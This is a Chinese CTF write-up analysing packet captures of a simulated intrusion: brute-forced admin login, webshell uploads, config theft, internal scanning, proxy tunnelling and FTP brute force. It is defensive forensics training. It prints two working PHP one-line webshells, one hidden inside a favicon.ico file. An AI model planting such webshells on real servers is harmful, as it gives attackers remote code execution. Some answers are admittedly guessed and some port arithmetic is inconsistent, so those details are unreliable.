2018.05.11第七赛区铁人三项赛_赛后writeup

数据分析赛:
这次铁三分区赛,拿了一等奖(季军),哎,有付出总有收获,玩了两个月的协议,还行。
相对上个星期05.05的数据分析赛,觉得简单了很多,但其中值得学习的知识点也不少呀。

题目简述

比赛数据包给了9个,不多不少。
clipboard(1710413102.png).png
clipboard(1834883302.png).png
看到题目,头脑先要有个大概的黑客入侵公司的思维导图,总体脉络清晰后,我们再接着做题。
黑客攻击公司走的是以tcp为载体的http请求,所以过滤http成为解题的最基本的方法。发现漏洞,并利用了漏洞获取服务器的权限,则可以推测黑客上传了webshell,提权成功;可以对内网进行扫描和攻击,推出黑客提权后挂了代理,对内网及其主机进行扫描。

解题过程

关卡01~03

JVMYZQZ)`{7P@LU@HM9H@V8.png
clipboard(3895708137.png).png
clipboard(1427483039.png).png
打开第一个数据包,可以发现有大量的404 response code,可知黑客进行了目录扫描,结合题目和数据包,黑客在扫后台登陆的网站地址。
数据包下滑发现,404消失,其次是大量的post请求。再结合数据包分析,过滤POST请求,可知黑客发现登陆后台网址ad_admin.php,接着对用户名和密码进行了爆破。
clipboard(719687826.png).png
第一个数据包翻完,还是没看到爆破终止的痕迹。
通过分析,我们知道了在第一个数据包中,黑客的攻击ip:202.1.1.2服务器ip:192.168.1.203,并且黑客虽然找到了后台登陆的网址(http://192.168.1.203/ad_admin.php),但并未成功爆破用户名和密码。关卡02和关卡03答案呼之欲出,关卡01答案需要剩余的流量包查找。
打开第二个数据包,接着过滤POST请求,观察下,发现末尾第1042820的分组后,黑客没有再继续爆破,但这里还不能确定是否爆破成功。
clipboard.png
我们怎么验证呢?我们标记下这个包,过滤http流,而又因为我们知道了黑客的IP,我们可以过滤此IP方便我们分析,并排除其他干扰数据。.
过滤语句:http && ip.addr==202.1.1.2
clipboard(3521893764.png).png
跳转到我们刚刚标记的包,可以发现,这个服务器对这个POST请求的302响应包的Length442,与之前的所有POST请求的302响应包的Length316不同。再结合标记包的下个GET包,根据网址的目录名中homgpage,我们可以大胆推测黑客爆破成功了,用户名:admin,密码:aabbcc。关卡01的答案即可得到。
当然本着学习的角度,我们还是好好分析下这个问题:
我们查看标记包的302响应包内容和之前请求的302响应包有啥不同:
clipboard.png
clipboard (2325941034.png).png
一个是302重定向的Location不同,还有一个就是标记包得到的响应包里apadmin_password是以hash值形式(为啥是hash的形式表示,见我的另一片文章一道赛题引起的思考——QUIC全解析)
根据上述,我们就可确定用户名和账号被黑客成功获得。
黑客获得账号和密码后,查看了后台管理的选项,进行了一些页面浏览。
clipboard.png
到此,第二个数据包分析完毕。

关卡04~07

clipboard.png
clipboard (as).png
clipboard

第三个数据包,打开,依照题目,写入的webshell需要通过POST提交,过滤下。
过滤语句:http.request.method==POST && ip.addr==202.1.1.2
过滤后的第一个数据包就有彩蛋
clipboard.png
解码下:
clipboard (1738362390.png).png
可知黑客把"<?php eval($_POST['cmd']);?>"写入了shell2.php里,即webshell的内容,关卡04搞定(这里正确的答案需要把\去掉,还好我问了小丢姐姐是不是答案有误)。
而做题时,关卡05的问题让我的思路卡顿下,因为这个问题跳跃度有点大。
为啥能直接扯到MYSQL?没思路。咋办咯。只能看剩下来的POST请求中shell2.php中的黑客的操作。
果然。。发现了秘密。
clipboard (3846784427.png).png
追踪下流,答案揭晓
clipboard.png
接着把上面的一句话木马的指令解码下
clipboard (3394366795.png).png
原来是查看了配置的config.php的文件,里面有数据库的配置,这才恍然大悟,原来关卡05的考点在这。
做到关卡06的时候,纳闷了下,第一个上传的木马文件不就是shell2.php嘛。后面小丢姐姐说了才知道是除了shell2.php的第一个木马文件。
clipboard (1208537828.png).png
继续查看第三个数据包的内容,发现都是黑客查看数据库的内容的一些操作,只能继续下一个包了

打开第四个包,按之前的方式过滤,没有符合要求的包。。。。额。。。又晕了。别吓我,第四个没内容。
clipboard.png
东看西看,还真没内容。(做完发现第四个包是个水包)
只能继续下一个包查看。
clipboard (472767690.png).png
打开第五个包,过滤一通。
clipboard (70420077.png).png
发现shell2.php后面的包出现了个scan.php,猜测scan.php就是继shell2.php后黑客上传的第一个木马文件。
仔细查看响应的包,嗯,果然可以证明这个推测。
clipboard.png
cmd内容解码下就知道,黑客上传了个新的木马文件scan.php,且对z1进行16进制解码即为scan.php的内容。
clipboard (1413768279.png).png
至此,关卡06搞定。
在看看下面的包,又发现了关卡07的答案,即黑客进行内网扫描的端口范围。
clipboard (754210005.png).png
而在做题时,我看错了,以为下面这个包是端口的范围。
clipboard (4154369685.png).png
至此,第五个数据包分析完毕

关卡09~10

clipboard.png
clipboard (2901186040.png).png
clipboard (3026454065.png).png
打开第六个数据包,过滤下,包不多,分析一波。黑客又登陆了后台管理,进入了备份系统,对其中的bak_2018-01-29-17-47-52.zip文件,进行下载。
关卡08搞定。
clipboard (526570247.png).png

接着打开第七个数据包,过滤下,查看第一个包
clipboard.png
解码下,看到favicon.icoico是图标文件的后缀名)
clipboard (1327320942.png).png
在把对应的z1的值拖到winhex里,在结尾部分可以发现一句话木马"<?php @eval($_POST['picto']);?>"
clipboard (3113870093.png).png
picto即为隐藏在favicon.ico图片中的一句话木马。关卡09搞定。
继续分析流量包,发现95286分组的数据表示黑客查看了文件目录下的文件,而106442分组中的数据修改了obj_edit.php的内容。
clipboard.png
而在整个过滤后的数据包末端,出现了一个新的tunnel.php
clipboard (700114939.png).png
经过分析,是新建的一个木马文件tunnel.php,作用是设置代理,监听端口。
所以,黑客是通过修改obj_edit.php文件,配合tunnel.php进行下一步行动。关卡10搞定。
第七个数据包分析完毕。

关卡11~04

clipboard.png
clipboard (3344628515.png).png
clipboard (3452440425.png).png
clipboard (469606264.png).png
打个岔,这次比赛我觉得从关卡11到关卡14都不好做,对于我个人而言,我是在13点之前做完全部的数据分析题的,九点开始的比赛,前十个问题我花了两个多小时完成,剩下的全部花在后四题。。。
打开第八个数据包,结合关卡11的问题,一脸懵逼。。后面发现端口1433即是ftp开放的端口(别问为什么,这题我真是懵的,我刚开始蒙22,错了,后面看到这个1433,试一下,竟然对了)
clipboard.png
关卡11搞定(懵的,请老哥们指教)。
剩下的第八个数据包的分组,可以分析得知,黑客在爆破ftp的账号和密码,但是没成功。

接着打开第九个数据包,过滤分析
)cjc$of8q224.png
这个ftp登录密码我是怎么找到并最终确认的呢?因为观察了下,下面那个标记的数据包是第一个ftp的命令操作,而离这个ftp命令最近的密码是62236显示的内容 ,我才提交并确认这个密码的。关卡12搞定。
剩下的关卡11和关卡14我是怎么做出来的呢?我下面写的,你可能觉得这是运气,但,不得不承认,这是wireshark的一个功能,而我恰好知道。
clipboard.png
当我做完关卡11后,剩下http数据包特别多,长时间分析无果,我换了个思路,把数据包的分组按Length排序,而不是按分组号排序。
查看第一个包,就会发现有个readmd.rtf(比赛的时候提交错误,后面问了小丢姐姐,姐姐说把第二个d改成e)
clipboard.png
为啥我最后可以确定答案是readmd.rtf去向小丢姐姐问是不是原本的答案有错呢?
因为,在接下来的分析中,我找到了另外一个显示目录的分组,下面是它们的对比。
clipboard (2128565827.png).png
clipboard (1895590368.png).png
可以发现,时间的误差和新文件的写入正好符合时间差。所以,关卡12搞定。

最后就剩下了个关卡14了。。。这个。真的。。。。又是懵的。
最后一题在剩余最后四题又是做的最久的。
这里考察了一个知识点:
227 Entering Passive Mode (127,0,0,1,26,80).代表客户机使用PASV模式连接服务器的26x256+108=6764端口。
然后过滤IP,找到端口。(等会讲讲)
但是那时候我不会啊。。不知道啊。。。咋办,继续找呗。。。后面发现了这个
clipboard.png
这个CVE-2017-8570即是最后的答案。。。

在分析过程中,我也看到了这个,还郁闷怎么会有这玩意来着。。后面,卡最后一题实在太久了,小丢姐姐也问我们还有没有没吃饭的,我就乖乖地去吃饭饭了。吃饭过程,想了想,不对啊,那个CVE是干啥的,会不会就是最后一题答案,越想越觉得有这可能,扒了几口饭就回去提交,提交前口里喊了一声“圣光请赐予我力量”。弹出提示,“恭喜你,完成本比赛所有关卡,并给予30%的总分额外奖励”,队友这个时候疯狂摸我大腿,口里念叨着“大佬大佬大佬啊”。
真变态,人家可是腼腆羞涩的纯情单身大男孩呢。

迷之坑点

虽然,数据赛拿了满分,但是,其中还是有些问题和坑点,下面介绍

坑点一

关卡14的正确方法解题模式
这里介绍两种方法,一种是按tcp端口过滤,另一种是在wireshark中改变ftp端口号。
第一种方法:
先介绍下FTP的连接模式:其有两种方式,PORT(主动模式)和PASV(被动模式),均是相对于服务器而言的。
一、以PORT模式连接服务器的情况。其中在LOG里有这样的记录:
PORT 127,0,0,1,28,37告诉服务器当收到这个PORT指令后,连接FTP客户的28x256+37=7205这个端口
Accepting connection: 127.0.0.1:20 表示服务器接到指令后用20端口连接7205端口,而且被FTP客户接受。
二、以PASV模式连接服务器,连接LOG里有这样几句话:
227 Entering Passive Mode (127,0,0,1,26,80).代表客户机使用PASV模式连接服务器的26x256+80=6736端口。(当然服务器要支持这种模式)
125 Data connection already open; Transfer starting.说明服务器的这个端口可用,返回ACK信息。

两者的计算方式其实是一样的。(之前以为是两种不同的计算方式,经大佬们的提醒后修正)

而在最后一个流量包中,又仔细分析了下,发现有两种:
第一种是227 Entering Passive Mode (192,168,2,108,39,78).如图:
clipboard (3440594870.png).png
第二种是227 Entering Passive Mode (192,168,2,108,39,79).如图
clipboard (4195715713.png).png
按照上面的说法,两者都是ftpPASV模式连接服务器,按照计算公式依次计算为:
39*256+78=10062
39*256+79=10063
发现tcp存在这两个端口,并在10062端口中找到了正确的关卡14的答案。
clipboard (1218808977.png).png
clipboard (3075863408.png).png
相关链接:
https://blog.csdn.net/chary8088/article/details/1538573(这个链接里面讲到的内容可能有误,建议看下面的链接)
https://blog.csdn.net/bestone0213/article/details/41892921
第二种方法:
在做题过程中,我们知道了ftp服务器放到了1433端口,wireshark中设置一波就行:编辑->首选项->Protocols->ftp,修正下端口号即可,然后再过滤语句ftp-data一番,查看其中的分组即可(这次栽在这个点了,说来说去经验不足,这个思路没想过,说明这个知识点应用的不够多)
46465.png
123165.png
额。。。。。这个点算是搞定了,要去看看ftp咯。

坑点二

比赛的时候,在第七个数据包中发现存在一个ELF文件,不知道这干嘛的?(那时候还以为是要我搞pwn)请大佬们指教?
clipboard
clipboard

这干啥的呢?

数据赛到此为止。先去找找相应的知识点补补。企业赛和个人赛得缓缓。写下这篇文章,废话较多,主要是留给学弟学妹和初学者们,还望大佬们多多指教。

0%